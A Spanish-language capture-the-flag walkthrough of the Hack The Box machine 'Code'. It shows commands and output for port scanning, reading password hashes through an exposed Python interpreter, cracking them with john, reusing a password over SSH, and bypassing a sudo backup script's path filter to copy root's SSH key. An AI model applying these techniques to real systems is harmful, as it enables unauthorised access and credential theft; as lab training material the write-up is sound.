Descripción️
Code es una máquina fácil de Hack The Box que cuenta con la siguientes vulnerabilidades:
- Aplicación web intérprete de Python que permite leer datos sensibles
- Reutilización de contraseña en sistema Linux
- Escalada de privilegios mediante un script vulnerable que permite leer archivos del usuario
root
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.33.252.
$ ping -c 3 10.129.33.252
PING 10.129.33.252 (10.129.33.252) 56(84) bytes of data.
64 bytes from 10.129.33.252: icmp_seq=1 ttl=63 time=46.4 ms
64 bytes from 10.129.33.252: icmp_seq=2 ttl=63 time=47.2 ms
64 bytes from 10.129.33.252: icmp_seq=3 ttl=63 time=46.7 ms
--- 10.129.33.252 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 46.376/46.769/47.205/0.339 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.33.252 -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.33.252
Host is up (0.048s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
Nmap done: 1 IP address (1 host up) scanned in 3.01 seconds
Obtenemos dos puertos abiertos, 22 y 5000.️
Enumeración️
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.33.252 -Pn -sV -sC -p22,5000 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.33.252
Host is up (0.046s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_ 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open http Gunicorn 20.0.4
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.25 seconds
Obtenemos dos servicios: Secure Shell (SSH) y Hypertext Transfer Protocol (HTTP) ejecutados en un sistema operativo Linux Ubuntu. Como no tenemos credenciales factibles para el servicio SSH, vamos a pasar al servicio HTTP. Encontramos una página que ofrece un intérprete de comandos Python. Tenemos la capacidad de crear una cuenta e iniciar sesión, por lo que podría haber cuentas registradas.️
Con la función print(globals()) del lenguaje de programación Python podemos obtener un diccionario con todas las variables y símbolos globales del programa actual. Este es el resultado:️
{'__name__': 'app', '__doc__': None, '__package__': '', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f07517bb6d0>, '__spec__': ModuleSpec(name='app', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7f07517bb6d0>, origin='/home/app-production/app/app.py'), '__file__': '/home/app-production/app/app.py', '__cached__': '/home/app-production/app/__pycache__/app.cpython-38.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy:
...
for help about object.}, 'Flask': <class 'flask.app.Flask'>, 'render_template': <function render_template at 0x7f0751179ee0>, 'render_template_string': <function render_template_string at 0x7f0751179f70>, 'request': <Request 'http://10.129.33.252:5000/run_code' [POST]>, 'jsonify': <function jsonify at 0x7f0751423c10>, 'redirect': <function redirect at 0x7f075128d3a0>, 'url_for': <function ...
0x7f075128d550>, 'SQLAlchemy': <class 'flask_sqlalchemy.extension.SQLAlchemy'>, 'sys': <module 'sys' (built-in)>, 'io': <module 'io' from '/usr/lib/python3.8/io.py'>, 'os': <module 'os' from '/usr/lib/python3.8/os.py'>, 'hashlib': <module 'hashlib' from '/usr/lib/python3.8/hashlib.py'>, 'app': <Flask 'app'>, 'db': <SQLAlchemy sqlite:////home/app-production/app/instance/database.db>, 'User': <class 'app.User'>, 'Code': <class 'app.Code'>
...
Encontramos que el programa se ejecuta desde el archivo /home/app-production/app/app.py. Utiliza la biblioteca SQLAlchemy y el sistema de bases de datos sqlite para guardar los datos de la base de datos en el archivo /home/app-production/app/instance/database.db.️
Explotación️
Encontramos dos clases interesantes User y Code. Vamos a verificar el tipo con la expresión type(User) . Obtenemos como resultado la clase <class 'flask_sqlalchemy.model.DefaultMeta'> . Podemos obtener todos los objetos de esta clase utilizando la expresión User.query.all(). Encontramos dos usuarios registrados [<User 1>, <User 2>]. Podemos obtener las variables del objeto y sus valores con el siguiente código en Python.️
for user in User.query.all():
print(vars(user))
Obtenemos como resultado:️
{'_sa_instance_state': <sqlalchemy.orm.state.InstanceState object at 0x7f8ed3dd1460>, 'password': '759b74ce43947f5f4c91aeddc3e5bad3', 'id': 1, 'username': 'development'} {'_sa_instance_state': <sqlalchemy.orm.state.InstanceState object at 0x7f8ed3dd14c0>, 'password': '3de6f30c4a09c27fc71932bfc68474be', 'id': 2, 'username': 'martin'}
Encontramos los hashes de las contraseñas para los usuarios development y martin: 759b74ce43947f5f4c91aeddc3e5bad3, y 3de6f30c4a09c27fc71932bfc68474be. Vamos a descifrarlas como hashes MD5.️
$ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hashes 1 ↵
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
development (development)
nafeelswordsmaster (martin)
2g 0:00:00:00 DONE 9.523g/s 24890Kp/s 24890Kc/s 25857KC/s nafi1993..naerox
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Encontramos la contraseña para el usuario de desarrollo, development como development, así como para el usuario martin, nafeelswordsmaster. Podemos conectarnos a la máquina utilizando SSH con los datos del usuario martin.️
$ ssh martin@10.129.33.252
martin@10.129.33.252's password:
...
martin@code:~$ id
uid=1000(martin) gid=1000(martin) groups=1000(martin)
Post-Explotación️
Encontramos que martin puede ejecutar un solo comando como usuario root, /usr/bin/backy.sh. Vamos a inspeccionar el script.️
martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User martin may run the following commands on localhost:
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
martin@code:~$ cat /usr/bin/backy.sh
#!/bin/bash
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
/usr/bin/backy "$json_file"
Encontramos que el script está recibiendo el archivo task.json y verificando si los directorios pasados están solo contenidos en /home y /var. También verifica la inyección de cruce de directorios con la herramienta jq y la función gsub, eliminando la cadena ../ de las rutas. Tenemos un ejemplo del archivo /home/backups/task.json.️
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/app-production/app"
],
"exclude": [
".*"
]
}
Los archivos de respaldo se guardan en la carpeta /home/martin/backups/. El objetivo es respaldar la carpetas /root, o /home/../root//var/../root. Podemos superar el límite del patrón regular utilizando la siguiente ruta: /home/....//root. También necesitamos eliminar la cadena de caracteres ".*" de la clave exclude. El archivo final es:️
{
"destination": "/home/martin/backups/",
"multiprocessing": true,
"verbose_log": false,
"directories_to_archive": [
"/home/....//root"
],
"exclude": []
}
Ahora podemos ejecutar la script.️
martin@code:~$ sudo /usr/bin/backy.sh task.json
🍀 backy 1.2
📋 Working with task.json ...
💤 Nothing to sync
📤 Archiving: [/home/../root]
📥 To: /home/martin/backups ...
📦
Encontramos el archivo de respaldo en el archivo backups/code_home_.._root_2025_March.tar.bz2. Podemos extraerlo.️
martin@code:~$ ls backups/
code_home_app-production_app_2024_August.tar.bz2
code_home_.._root_2025_March.tar.bz2
task.json
martin@code:~$ tar xjf backups/code_home_.._root_2025_March.tar.bz2
Encontramos la clave privada de SSH para el usuario root en el directorio root/.ssh/id_rsa. Usamos esta clave para crear una sesión de root.️
martin@code:~$ ls root/.ssh/
authorized_keys id_rsa
martin@code:~$ ssh -i root/.ssh/id_rsa root@127.0.0.1
...
root@code:~# id
uid=0(root) gid=0(root) groups=0(root)
Flags
En la terminal de administrador podemos recuperar las flags del usuario y del administrator.️
root@code:~# cat /home/app-production/user.txt
<REDACTED>
root@code:~# cat /root/root.txt
<REDACTED>